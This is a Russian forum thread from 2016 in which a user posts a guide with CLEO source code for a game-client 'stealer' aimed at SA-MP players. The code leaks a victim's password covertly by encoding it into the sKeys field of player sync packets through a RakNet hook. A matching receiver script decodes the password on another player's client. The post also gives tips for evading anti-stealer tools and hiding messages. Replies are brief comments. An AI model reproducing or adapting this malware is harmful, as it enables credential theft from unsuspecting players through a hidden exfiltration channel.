Гайд отправка своей информации через RakNET на примере стиллера

Тема в разделе "CLEO", создана пользователем p1cador, 9 окт 2016.

Статус темы:
Закрыта.
  1. p1cador

    p1cador tvoy ded
    Проверенный

    Регистрация:
    19.03.14
    Сообщения:
    112
    Лайки:
    111
    Репутация:
    31
    Здарова. Конечно, наверное, очень мало неадекватов, которые попытаются разобраться, или хотя бы прочитают, но мне будет спокойней, если это говно не пропадет и я, хотя бы, убью время.
    Делюсь старыми наработками и идеями. В основном это полный идиотизм, но эта задумка заслуживает право на существование, жалко будет, если пропадет.
    Таким стиллером, конечно, миллионы акков не напиздишь, но подстебать нубов можно будет, плюс антистиллеры не должны ругаться. Да и тут не в краже жалких акков дело, а в самом принципе.
    Сначала распишу, потом выложу сурс, как это реализовал я.
    Данные для примера будем передавать через поле uint16_t sKeys структуры PACKET_PLAYER_SYNC. Для этого нам нужно:
    1. Установка соединения, передача.
    1.1 Первый игрок (жертва) всегда сканирует всех в зоне стрима на наличие определенного флага в sKeys. Если такой есть - начинается передача данных. (в моем примере флаг - sKeys >= 50000)
    1.2 Второй игрок (получатель) курит, пока не зажмет кнопку получения пароля.
    И так
    1.3 Второй игрок (получатель) нажал на кнопку: у него установился флаг sKeys, сигнализирующий о том, что он хочет получить пароль.
    1.4 Первый игрок (жертва) это увидел(т.к. постоянно сканирует, выше писал же епта).
    1.5 Первый игрок (жертва) отправляет свой пароль до тех пор, пока у получателя установлен флаг(п.1.3).
    1.6 Второй игрок (получатель) после принятия пароля отпускает кнопку.
    1.7 Первый игрок (жертва) перестает отправлять пароль.

    2. Кодирование пароля(любого сообщения)
    Говнокод. Всегда не любил ебалово со строками в клео.
    Короче.
    2.1 Строка с паролем(с любым сообщением) разбивается по символам.
    2.2 Каждый символ преобразуется в число(оффсет в строке символов).
    Т.к. sKeys = 2 байта, через него можно передать 2 символа за раз.
    2.3 Склеивание двух чисел в одно, двухбайтовое, которе и будет передаваться в sKeys.
    На приемной стороне, естественно, из sKeys нужно будет сделать обратное преобразование.

    Теперь по коду:
    сразу сорян за названия функций и блестящее владение терминологией
    Установка соединения:
    1) Первый игрок (жертва)

    пс, 31@ - строка с паролем(любым текстом), 13@ - длина пароля(передаваемой строки)
    Код (CLEO):
    0AC6: 30@ = label @chars offset
    while true
        wait 0
        0C8A: samp 0@ = get_max_player_id streamed_only true
        for 1@ = 0 to 0@ step 1
           if 0B20: samp 6@ = actor_handle_by_samp_player_id 1@
                then
                0AB1: call_scm_func @get_player_data 1 {id} 1@ | 4@ //получить sKeys(флаг) игрока
                while 4@ >= 50000 //если флаг >=50000... соединение установлено.
                    wait 0  
                    0AB1: call_scm_func @get_player_data 1 {id} 1@ | 4@          
                    for 5@ = 1 to 13@ step 1 //кол-во итераций(13@) == длинна пароля(передаваемой строки)
                    // 1 char - получение кода первого символа
                        0C13: strcpy destination 29@ source 31@
                        0AB1: call_scm_func @char_for_string 2 {str} 29@ {number} 5@ | 7@  //return 1 char
                        0C19: 8@ = strcspn string1 30@ string2 7@
                        0C11: memset destination 29@ value 0x0 size 256
                    // 2 char - получение кода второго символа      (т.к. передаем попарно, по два)
                        5@ += 1 //переход на след.символ
                        0C13: strcpy destination 29@ source 31@        
                        0AB1: call_scm_func @char_for_string 2 {str} 29@ {number} 5@ | 9@  //return 1 char
                        0C19: 10@ = strcspn string1 30@ string2 9@
                        0C11: memset destination 29@ value 0x0 size 256
                    // преобразование двух кодов символов (8@, 10@) в 2-байтовое число (11@), которое можно передать через sKeys
                        0AB1: call_scm_func @char_id_to_byte 2 8@ 10@ | 11@
                        0af8: "%d %d |%d" 0xff0000 8@ 10@ 11@   //debug    
                        0C83: samp force_onfoot_sync   //отправка
                        wait 50 //если часто отправлять, на некоторых серверах кикает          
                    end
                    2@ = 1
                end
                2@ = 0
            end
        end
    end
    Функции:
    Проверка флага игрока:
    Код (CLEO):
    :get_player_data// 0AB1: call_scm_func @get_player_data1{id}1@ | 4@
    alloc 15@ 68
    0BBA: samp store_player 0@ onfoot_data 15@
    0C0C: 18@ = struct 15@ offset 4 size 2// uint16_t sKeys; + 4
    0AB2: ret 1 18@
    Разбиение строки на символы:
    Код (CLEO):
    :char_for_string //0AB1: call_scm_func @char_for_string 2 {str} 0@ {ch} 1@ | char 0@
    005a: 0@ += 1@
    0C11: memset destination 0@ value 0x0 size 0x1
    0@ -= 1
    ret 1 0@
    Запись кодов двух символов в 2-байтовое число:
    Код (CLEO):
    :char_id_to_byte //0AB1: call_scm_func @char_id_to_byte 2 {ch1}8@ {ch2}10@ | {sKeys}11@
    0@ *= 100
    005a: 0@ += 1@
    0@ += 50000
    ret 1 0@
    На выходе - ч-ло 5xxyy, где xx,yy - два символа, 5 в старшем разряде - показывает принимающей стороне, что это значение sKeys содержит текст (флаг >= 50000, ну вы помните ебанарот)
    2) второй игрок (получатель)

    Код (CLEO):
    0AC6: 31@ = label @chars offset

    while true
        wait 0
        if 0AB0: 66 //B - если нажата кнопка получения
            then
            2@ = 1
            25@ = 61337 //уст. флаг >= 50000
            0C8A: samp 0@ = get_max_player_id streamed_only true
            0C83: samp force_onfoot_sync
            for 1@ = 0 to 0@ step 1
                if 0B20: samp 3@ = actor_handle_by_samp_player_id 1@
                    then
                    if 803B:   3@ == $PLAYER_ACTOR  // (int)
                        then
                        25@ -= 1  
                        0AB1: call_scm_func @get_player_data 1 {id} 1@ | 4@ //получить флаг        
                        if 4@ >= 50000//если флаг >50000 (если он содержит символы)
                            then //connect, get password            
                            0AB1: call_scm_func @byte_to_char_ids 1 4@ | 20@ 21@  //достать из sKeys коды двух символов
                            if 803b: 14@ == 4@
                                then
                                0af8: "pass: %d[%d %d]"  -1 4@ 20@ 21@  //debug
                                0085: 14@ = 4@                    
                       
                                //--- deconvert                              
                                005A: 20@ += 31@                                    
                                005A: 21@ += 31@
                                20@ += 1
                                0C11: memset destination 20@ value 0 size 0x1
                                20@ -= 1
                                               
                                21@ += 1
                                0C11: memset destination 21@ value 0 size 0x1
                                21@ -= 1                                                  
                                0af8: "%s %s" 0xff0000 20@ 21@      
                                //--- deconvert end.              
                            end                      
                                 
                            else continue
                        end
           
                    end
                end  
            end
        end
        2@ = 0
        25@ = 0
    end
    Строка с символами, по которой определяется код символа (до 100 символов).
    Код (CLEO):
    :chars
    hex
    " 0123456789abcdefghijklmnopqrstuvwxyz-!@#$%^&*()_+=-;:?"
    end
    Функции:
    Преобр. sKeys в коды двух символов (обратная функции char_id_to_byte):
    Код (CLEO):
    :byte_to_char_ids 0AB1: call_scm_func @byte_to_char_ids 1 4@ | 20@ 21@
    0B14: 15@ = 0@ MOD 100 //jun (1,10)
    0062: 0@ -= 15@
    0@ /= 100
    0B14: 0@ = 0@ MOD 100 //eld (100,1000)
    ret 2 0@ 15@
    Хуки:
    Жертва:

    Код (CLEO):
    :OUTC_PACKET_ON
    0BE5: raknet 14@ = get_hook_param PARAM_PACKETID
    if 0039:   14@ == PACKET_PLAYER_SYNC
        then
        0BE5: raknet 14@ = get_hook_param PARAM_BITSTREAM
        0BF3: raknet 14@ = bit_stream 14@ get_data_ptr
        if 2@ == 1 //connected
            then
            0C0D: struct 14@ offset 5 size 2 = 11@   // uint16_t sKeys; + 4 (+1)
        end
    end
    0BE0: raknet hook_ret true
    Получатель:
    Код (CLEO):
    :OUTC_PACKET_ON
    0BE5: raknet 4@ = get_hook_param PARAM_PACKETID
    if 0039:   4@ == PACKET_PLAYER_SYNC
        then
        0BE5: raknet 4@ = get_hook_param PARAM_BITSTREAM
        0BF3: raknet 4@ = bit_stream 4@ get_data_ptr
        if 2@ == 1 //connected
            then
            0C0D: struct 4@ offset 5 size 2 = 25@   // uint16_t sKeys; + 4 (+1)
        end
    end
    0BE0: raknet hook_ret true
    Получение пароля и его длинны:



    П.С. данные офк можно отправлять через любое поле любой структуры, я выбрал именно uint16_t sKeys; для наглядности. Для увеличения скорости можно задействовать больше полей, можно использовать сотые-тысячные доли позиции, ротации и др., все - ваша фантазия. Так же эти два скрипта, естественно, легко объединяются в один, но, опять же, просто очень лениво все это делать, осбенно на клео, это ебучий мазахизм. Так же для защиты от таких же умных как вы, можно менять символы в строке местами, чтобы ваши сообщения не могли расшифровать другие. Так же для минимизации ошибок, можно использовать различные алгоритмы, их дохуя очень дохуя, например - чередовать 5xxyy/6xxyy/5xxyy/6xxyy, опять же все ваша фантазия и инфа из книг по системам передач. И вам полюбому придется что-нибудь прмдумать, т.к. без этого работать будет криво, потому что ракнета рот ебал. Так же по этому принципу можно пилить дичь по веселее, начиная скрытыми чатами, заканчивая игрухами на несокльких игроков(:D)
     
    Последние данные очков репутации:
    FYP: 3 Очки 9 окт 2016
    Nevrouz: 1 Очко 20 окт 2016
    #1
    Последнее редактирование: 9 окт 2016
    LokoLoyKoo, Nevrouz, Smile и ещё 1-му нравится это.
  2. hnnssy

    Друг

    Регистрация:
    23.03.13
    Сообщения:
    1.502
    Лайки:
    908
    Репутация:
    155
    норм такой чат, работающий только в стриме
     
    #2
  3. SR_team

    SR_team BH Team
    BH Team

    Регистрация:
    26.10.13
    Сообщения:
    2.468
    Лайки:
    1.430
    Репутация:
    401
    а теперь фикси уязвимость MITM
     
    #3
  4. LokoLoyKoo

    LokoLoyKoo Известный пользователь

    Регистрация:
    28.09.16
    Сообщения:
    93
    Лайки:
    8
    Репутация:
    2
    Я что-то не понял как его написать, сможет кто-нибудь объяснить?
     
    #4
  5. DarkP1xel

    DarkP1xel Smoke Weed Everyday
    BH Team

    Регистрация:
    17.06.13
    Сообщения:
    1.743
    Лайки:
    1.045
    Репутация:
    286
    Если ты не понял, что написано выше, то скриптинг не твоё, проще некуда
     
    #5
  6. LokoLoyKoo

    LokoLoyKoo Известный пользователь

    Регистрация:
    28.09.16
    Сообщения:
    93
    Лайки:
    8
    Репутация:
    2
    Даже если я меньше месяца изучаю?
     
    #6
Статус темы:
Закрыта.